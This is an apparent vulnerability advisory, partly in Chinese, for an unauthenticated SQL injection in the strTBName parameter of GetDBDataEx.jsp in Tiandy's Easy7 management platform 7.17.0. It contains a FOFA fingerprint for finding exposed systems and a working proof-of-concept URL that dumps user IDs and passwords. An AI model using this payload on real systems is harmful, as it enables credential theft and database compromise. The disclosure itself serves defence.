[★]Tiandy Technologies Co., Ltd. Easy7 Integrated Management Platform GetDBDataEx.jsp strTBName unauthenticated sql injection
输入“/”快速插入内容
[★]Tiandy Technologies Co., Ltd. Easy7 Integrated Management Platform GetDBDataEx.jsp strTBName unauthenticated sql injection
[★]Tiandy Technologies Co., Ltd. Easy7 Integrated Management Platform GetDBDataEx.jsp strTBName unauthenticated sql injection
4月27日修改
Company：Tiandy Technologies Co., Ltd.
official website: https://www.tiandy.com
product: https://www.tiandy.com/fwzc/zxzsk/kz/spjkpt/
Affected version: 7.17.0
Vulnerability Type: CWE-89 (SQL Injection)
Attack Vector: Network (Remote)
漏洞描述 (Description)：
A critical vulnerability has been identified in the Easy7 Integrated Management Platform. This issue affects the GetDBDataEx.jsp component. The manipulation of the strTBName argument with a sophisticated SQL payload leads to an unauthenticated remote SQL injection.
The vulnerability allows a remote attacker to bypass all authentication mechanisms and gain full, unauthorized access to the backend database. By exploiting this flaw, an attacker can extract sensitive information (such as administrative credentials), modify or delete arbitrary data, and potentially achieve complete control over the system's Confidentiality, Integrity, and Availability (CIA).
Impact Score (CVSS v3.1):
◦
Attack Vector (AV): Network (只要能联网就能打)
◦
Attack Complexity (AC): Low (无需特殊条件)
◦
Privileges Required (PR): None (未授权)
◦
User Interaction (UI): None (无需管理员点链接)
◦
Scope (S): Changed
◦
Confidentiality (C): High
◦
Integrity (I): High
◦
Availability (A): High
Vulnerability POC
Attackers can identify a large number of exposed systems using the following FOFA fingerprint:
代码块
app="Tiandy-Easy7"
POC
http://IP/Easy7/apps/WebService/GetDBDataEx.jsp?strTBName=(SELECT+S_ID,+S_PASSWORD+FROM+TAB_USER)&First=0&Last=100
Using this PoC, an attacker can directly retrieve the usernames and passwords of system users echoed from the database without authorization.